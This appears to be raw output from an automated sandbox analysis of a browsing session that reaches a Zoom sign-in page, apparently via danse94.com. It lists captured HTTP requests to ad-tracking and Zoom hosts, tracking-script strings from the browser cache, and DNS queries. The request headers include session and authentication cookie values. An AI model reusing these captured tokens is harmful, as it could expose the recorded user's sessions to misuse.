Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: TDID=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c; TDCPM=CAESFQoGZ29vZ2xlEgsI3uKDxMzV8T0QBRIWCgdydWJpY29uEgsItoaExMzV8T0QBRIXCghhcHBuZXh1cxILCNyqhMTM1fE9EAUYBSgDMgsI6LqG8eLV8T0QBUIPIg0IARIJCgV0aWVyMxABWgd6cXdtMTByYAE.
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CPjkvILXiowDFUSJgwcdaLYfsw;src=9513928;type=rmktp0;cat=rmkt-0;ord=1418350171161;npa=0;auiddc=;u7=%2Fsignin;u9=unclassified;ps=1;pcor=1291511231;uaa=x86;uab=64;uafvl=Chromium%3B134.0.6998.36%7CNot%253AA-Brand%3B24.0.0.0%7CGoogle%2520Chrome%3B134.0.6998.36;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=label_only_3;frm=0;_tu=Kg;gtm=45fe53d0v9189923985z871201097za201zb886803496;gcd=13l3l3l3l1l1;dma=0;dc_fmt=1;tag_exp=102482433~102587591~102717422~102788824~102813109~102814060~102825837~102879719;epver=2;~oref=https%3A%2F%2Fzoom.us%2Fsignin HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /*X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tap.php?v=8981&nid=2307&put=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c&gdpr=0&gdpr_consent=&expires=30&next=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Frubicon HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: audit_p=1\|beYZ0EQ8sf69amn+FPFD+9uyQTZBXZ8/GnOpehJyJ7zlGNsBp+KQQeUgHI32iyhjLzviyxxuFAaM1KxoLazIt5mwZQnb46mpoMyVypDzKOyUwb5lHWD6uZEZmy+yTYt+KKgNg/ZIs+ryCDHfAXx0BD/R0ELEsty6cmESKmf2cwrTmoFL5pKQsaZr5ZVxLWDe; khaos=M89DVLSY-1T-EZYA; khaos_p=M89DVLSY-1T-EZYA; receive-cookie-deprecation=1; audit=1\|beYZ0EQ8sf69amn+FPFD+9uyQTZBXZ8/GnOpehJyJ7zlGNsBp+KQQeUgHI32iyhj6IXb5tk9hbmM1KxoLazIt5mwZQnb46mpoMyVypDzKOyUwb5lHWD6uZEZmy+yTYt+KKgNg/ZIs+ryCDHfAXx0BD/R0ELEsty6cmESKmf2cwrTmoFL5pKQsaZr5ZVxLWDeSec-Cookie-Deprecation: label_only_3
Source: global traffic	HTTP traffic detected: GET /2/httpapi HTTP/1.1Host: api2.amplitude.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=ZmMxM2RmY2ItYzQ1NS00NGMwLWFjY2YtZjFiZjlhMGJiYzBj&gdpr=0&gdpr_consent=&ttd_tdid=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiKo8sBCIWgzQEY4eLOAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; receive-cookie-deprecation=1; IDE=AHWqTUlucPNLu7HyRwEJlNTQSFY36-guvuBkalqb8mLMVNDR9131XKtgetr5d53xSec-Cookie-Deprecation: label_only_3
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: TDID=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c; TDCPM=CAESFQoGZ29vZ2xlEgsI3uKDxMzV8T0QBRIWCgdydWJpY29uEgsItoaExMzV8T0QBRIXCghhcHBuZXh1cxILCNyqhMTM1fE9EAUYBSgDMgsI6LqG8eLV8T0QBUIPIg0IARIJCgV0aWVyMxABWgd6cXdtMTByYAE.
Source: global traffic	HTTP traffic detected: GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c&google_gid=CAESECcPSE5sNNIUgdq65iCc9cg&google_cver=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: TDID=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c; TDCPM=CAESFQoGZ29vZ2xlEgsI3uKDxMzV8T0QBRIWCgdydWJpY29uEgsItoaExMzV8T0QBRIXCghhcHBuZXh1cxILCNyqhMTM1fE9EAUYBSgDMgsI6LqG8eLV8T0QBUIPIg0IARIJCgV0aWVyMxABWgd6cXdtMTByYAE.
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253a%252f%252fmatch.adsrvr.org%252ftrack%252fcmf%252fappnexus%253fttd%253d1%2526anid%253d%2524UID%26ttd_tdid%3Dfc13dfcb-c455-44c0-accf-f1bf9a0bbc0c HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=ww7tGFIxc49GRwxJIs8lgrLduMQxrtAQi5RtZdl1n4e2qm5O-kKgexICq2D2mih_x0QkaoQ6snzYrjFsfmv1nNaLM2TbJw1MNatiEHArPh0.; receive-cookie-deprecation=1; uuid2=8001093563747474802Sec-Cookie-Deprecation: label_only_3
Source: global traffic	HTTP traffic detected: GET /track/cmf/appnexus?ttd=1&anid=8001093563747474802&ttd_tdid=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://match.adsrvr.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: TDID=fc13dfcb-c455-44c0-accf-f1bf9a0bbc0c; TDCPM=CAESFQoGZ29vZ2xlEgsI3N7H3szV8T0QBRIWCgdydWJpY29uEgsItoaExMzV8T0QBRIXCghhcHBuZXh1cxILCNyqhMTM1fE9EAUYBSABKAMyCwjouobx4tXxPRAFQg8iDQgBEgkKBXRpZXIzEAFaB3pxd20xMHJgAQ..
Source: global traffic	HTTP traffic detected: GET /nws/join/logger/felog HTTP/1.1Host: log-gateway.zoom.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; _zm_cdn_blocked=unlog_unblk; _zm_fingerprint=d5140acb3fb35cc80ba236bdb3bf654d; _gcl_au=1.1.535026956.1741993368; optimizelySession=1741993368502; OnetrustActiveGroups=C0004C0003C0002C0001; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Mar+14+2025+19%3A02%3A49+GMT-0400+(Eastern+Daylight+Time)&version=6.21.0&isIABGlobal=false&hosts=&consentId=c27e3fdb-4697-492f-8669-586bc41c9863&interactionCount=0&landingPath=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&groups=C0004%3A1%2CC0003%3A1%2CC0002%3A1%2CC0001%3A1; _yjsu_yjad=1741993371.8b0b14fb-2c18-4fa1-9f55-bd4a4327b6ff; IR_gbd=zoom.us; IR_17910=1741993371241%7Cc-36843%7C1741993371241%7C%7C; _uetsid=7477a3c0012811f0a38a71c87b0a1b12; _uetvid=7477d170012811f09b7cc529f7ba3633; _zm_tracking_guid=50f34aff30264ad7a90f14ac2386dd3a; _zitok=a3d27947185a7a66ae721741993372; IR_PI=75389ff5-0128-11f0-9e63-79482468d069%7C1741993371241; _fbp=fb.1.1741993372822.542583113418791011; _zm_billing_visitor_guid=0c9c097bc2c4470786e1309eb41f3714; AMP_MKTG_0753e77572=JTdCJTIycmVmZXJyZXIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmRhbnNlOTQuY29tJTJGJTIyJTJDJTIycmVmZXJyaW5nX2RvbWFpbiUyMiUzQSUyMmRhbnNlOTQuY29tJTIyJTdE; AMP_0753e77572=JTdCJTIyZGV2aWNlSWQlMjIlM0ElMjIwNjZmMmQ2ZS1iMmJmLTRmYjQtYmE5Ny0zZWYzMmE1NGQ4YTMlMjIlMkMlMjJzZXNzaW9uSWQlMjIlM0ExNzQxOTkzMzczOTAxJTJDJTIyb3B0T3V0JTIyJTNBZmFsc2UlMkMlMjJsYXN0RXZlbnRUaW1lJTIyJTNBMTc0MTk5MzM3MzkxMCUyQyUyMmxhc3RFdmVudElkJTIyJTNBMiUyQyUyMnBhZ2VDb3VudGVyJTIyJTNBMSU3RA==
Source: global traffic	HTTP traffic detected: GET /us01cci/web-sdk/chat-zcc-v3.html HTTP/1.1Host: us01ccistatic.zoom.usConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; _zm_cdn_blocked=unlog_unblk; _zm_fingerprint=d5140acb3fb35cc80ba236bdb3bf654d; _gcl_au=1.1.535026956.1741993368; optimizelySession=1741993368502; OnetrustActiveGroups=C0004C0003C0002C0001; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Mar+14+2025+19%3A02%3A49+GMT-0400+(Eastern+Daylight+Time)&version=6.21.0&isIABGlobal=false&hosts=&consentId=c27e3fdb-4697-492f-8669-586bc41c9863&interactionCount=0&landingPath=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&groups=C0004%3A1%2CC0003%3A1%2CC0002%3A1%2CC0001%3A1; _yjsu_yjad=1741993371.8b0b14fb-2c18-4fa1-9f55-bd4a4327b6ff; IR_gbd=zoom.us; IR_17910=1741993371241%7Cc-36843%7C1741993371241%7C%7C; _uetsid=7477a3c0012811f0a38a71c87b0a1b12; _uetvid=7477d170012811f09b7cc529f7ba3633; _zm_tracking_guid=50f34aff30264ad7a90f14ac2386dd3a; _zitok=a3d27947185a7a66ae721741993372; IR_PI=75389ff5-0128-11f0-9e63-79482468d069%7C1741993371241; _fbp=fb.1.1741993372822.542583113418791011; _zm_billing_visitor_guid=0c9c097bc2c4470786e1309eb41f3714; AMP_MKTG_0753e77572=JTdCJTIycmVmZXJyZXIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmRhbnNlOTQuY29tJTJGJTIyJTJDJTIycmVmZXJyaW5nX2RvbWFpbiUyMiUzQSUyMmRhbnNlOTQuY29tJTIyJTdE; AMP_0753e77572=JTdCJTIyZGV2aWNlSWQlMjIlM0ElMjIwNjZmMmQ2ZS1iMmJmLTRmYjQtYmE5Ny0zZWYzMmE1NGQ4YTMlMjIlMkMlMjJzZXNzaW9uSWQlMjIlM0ExNzQxOTkzMzczOTAxJTJDJTIyb3B0T3V0JTIyJTNBZmFsc2UlMkMlMjJsYXN0RXZlbnRUaW1lJTIyJTNBMTc0MTk5MzM3MzkxMCUyQyUyMmxhc3RFdmVudElkJTIyJTNBMiUyQyUyMnBhZ2VDb3VudGVyJTIyJTNBMSU3RA==
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: chromecache_201.1.dr	String found in binary or memory: <a href="https://www.youtube.com/watch?v=hxJL0adZUQg" target="_blank"><img equals www.youtube.com (Youtube)
Source: chromecache_201.1.dr	String found in binary or memory: <a href="https://www.youtube.com/watch?v=hxJL0adZUQg" target="_blank"><img equals www.youtube.com (Youtube)
Source: chromecache_233.1.dr	String found in binary or memory: Math.round(q);t["gtm.videoElapsedTime"]=Math.round(f);t["gtm.videoPercent"]=r;t["gtm.videoVisible"]=u;return t},Qk:function(){e=sb()},Nd:function(){d()}}};var bc=wa(["data-gtm-yt-inspected-"]),DG=["www.youtube.com","www.youtube-nocookie.com"],EG,FG=!1; equals www.youtube.com (Youtube)
Source: chromecache_196.1.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var k=oD(a,c,e);Q(121);if(k["gtm.elementUrl"]==="https://www.facebook.com/tr/")return Q(122),!0;if(d&&f){for(var m=Cb(b,g.length),n=0;n<g.length;++n)g[n](k,m);return m.done}for(var p=0;p<g.length;++p)g[p](k,function(){});return!0},rD=function(){var a=[],b=function(c){return gb(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_233.1.dr	String found in binary or memory: if(!(f\|\|g\|\|k\|\|m.length\|\|n.length))return;var q={Uh:f,Sh:g,Th:k,Ai:m,Bi:n,pf:p,Rb:e},r=z.YT;if(r)return r.ready&&r.ready(d),e;var u=z.onYouTubeIframeAPIReady;z.onYouTubeIframeAPIReady=function(){u&&u();d()};E(function(){for(var v=A.getElementsByTagName("script"),t=v.length,w=0;w<t;w++){var x=v[w].getAttribute("src");if(OG(x,"iframe_api")\|\|OG(x,"player_api"))return e}for(var y=A.getElementsByTagName("iframe"),B=y.length,C=0;C<B;C++)if(!FG&&MG(y[C],q.pf))return sc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_238.1.dr	String found in binary or memory: return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(b){var c=typeof a.URL==="function"?a.URL:a.webkitURL;c=new c(b);c=c.hostname.endsWith(".facebook.com")&&c.pathname=="/signals/iwl.js";if(!c)throw new Error("Disallowed script URL");return b}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_238.1.dr	String found in binary or memory: return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_238.1.dr	String found in binary or memory: return function(f,g,h,i){var j={exports:{}};j.exports;(function(){"use strict";var a={ENDPOINT:"https://www.facebook.com/tr/",INSTAGRAM_TRIGGER_ATTRIBUTION:"https://www.instagram.com/tr/",AEM_ENDPOINT:"https://www.facebook.com/.well-known/aggregated-event-measurement/",GPS_ENDPOINT:"https://www.facebook.com/privacy_sandbox/pixel/register/trigger/",TOPICS_API_ENDPOINT:"https://www.facebook.com/privacy_sandbox/topics/registration/"};j.exports=a})();return j.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_196.1.dr, chromecache_257.1.dr, chromecache_188.1.dr, chromecache_245.1.dr	String found in binary or memory: return f}BG.K="internal.enableAutoEventOnTimer";var bc=wa(["data-gtm-yt-inspected-"]),DG=["www.youtube.com","www.youtube-nocookie.com"],EG,FG=!1; equals www.youtube.com (Youtube)
Source: chromecache_196.1.dr	String found in binary or memory: var QF=function(a,b,c,d,e){var f=MC("fsl",c?"nv.mwt":"mwt",0),g;g=c?MC("fsl","nv.ids",[]):MC("fsl","ids",[]);if(!g.length)return!0;var k=RC(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);Q(121);if(m==="https://www.facebook.com/tr/")return Q(122),!0;k["gtm.elementUrl"]=m;k["gtm.formCanceled"]=c;a.getAttribute("name")!=null&&(k["gtm.interactedFormName"]=a.getAttribute("name"));e&&(k["gtm.formSubmitElement"]=e,k["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!zB(k,BB(b, equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: danse94.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: zoom.us
Source: global traffic	DNS traffic detected: DNS query: st2.zoom.us
Source: global traffic	DNS traffic detected: DNS query: explore.zoom.us
Source: global traffic	DNS traffic detected: DNS query: st1.zoom.us
Source: global traffic	DNS traffic detected: DNS query: st3.zoom.us
Source: global traffic	DNS traffic detected: DNS query: cdn.cookielaw.org
Source: global traffic	DNS traffic detected: DNS query: us01ccistatic.zoom.us
Source: global traffic	DNS traffic detected: DNS query: cdn3.optimizely.com
Source: global traffic	DNS traffic detected: DNS query: a20673560014.cdn.optimizely.com
Source: global traffic	DNS traffic detected: DNS query: geolocation.onetrust.com
Source: global traffic	DNS traffic detected: DNS query: static.cloudflareinsights.com
Source: global traffic	DNS traffic detected: DNS query: js.zi-scripts.com
Source: global traffic	DNS traffic detected: DNS query: tag.demandbase.com
Source: global traffic	DNS traffic detected: DNS query: tracking.g2crowd.com
Source: global traffic	DNS traffic detected: DNS query: snap.licdn.com
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: s.yimg.jp
Source: global traffic	DNS traffic detected: DNS query: scout-cdn.salesloft.com
Source: global traffic	DNS traffic detected: DNS query: cdn.amplitude.com
Source: global traffic	DNS traffic detected: DNS query: scout.salesloft.com
Source: global traffic	DNS traffic detected: DNS query: utt.impactcdn.com
Source: global traffic	DNS traffic detected: DNS query: collector-29673.us.tvsquared.com
Source: global traffic	DNS traffic detected: DNS query: trkn.us
Source: global traffic	DNS traffic detected: DNS query: logx.optimizely.com
Source: global traffic	DNS traffic detected: DNS query: px.ads.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: api.company-target.com
Source: global traffic	DNS traffic detected: DNS query: s.company-target.com
Source: global traffic	DNS traffic detected: DNS query: id.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: zoom.sjv.io
Source: global traffic	DNS traffic detected: DNS query: tracking-api.g2.com
Source: global traffic	DNS traffic detected: DNS query: ws.zoominfo.com
Source: global traffic	DNS traffic detected: DNS query: www.ojrq.net
Source: global traffic	DNS traffic detected: DNS query: dsum-sec.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: ws-assets.zoominfo.com
Source: global traffic	DNS traffic detected: DNS query: partners.tremorhub.com
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: www.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: log-gateway.zoom.us
Source: global traffic	DNS traffic detected: DNS query: 9513928.fls.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: ad.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: js.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: insight.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: api2.amplitude.com
Source: global traffic	DNS traffic detected: DNS query: adservice.google.com
